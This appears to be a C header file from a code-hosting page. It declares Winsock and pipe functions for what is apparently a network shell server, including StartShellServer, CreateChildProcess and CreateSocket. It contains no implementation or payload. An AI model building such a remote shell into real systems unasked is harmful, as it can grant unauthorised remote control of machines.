You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
22 lines
416 B
C
22 lines
416 B
C
#ifndef WIN32_LEAN_AND_MEAN
|
|
#define WIN32_LEAN_AND_MEAN
|
|
#endif
|
|
|
|
#pragma comment(lib, "Ws2_32.lib")
|
|
|
|
#include <stdio.h>
|
|
#include <tchar.h>
|
|
#include <windows.h>
|
|
#include <strsafe.h>
|
|
|
|
#include <winsock2.h>
|
|
#include <ws2tcpip.h>
|
|
|
|
// Defined functions
|
|
void StartShellServer();
|
|
void CreatePipes();
|
|
void CreateChildProcess(void);
|
|
void WriteToPipe(void);
|
|
void ReadFromPipe(void);
|
|
void ErrorExit(PCTSTR);
|
|
void CreateSocket(); |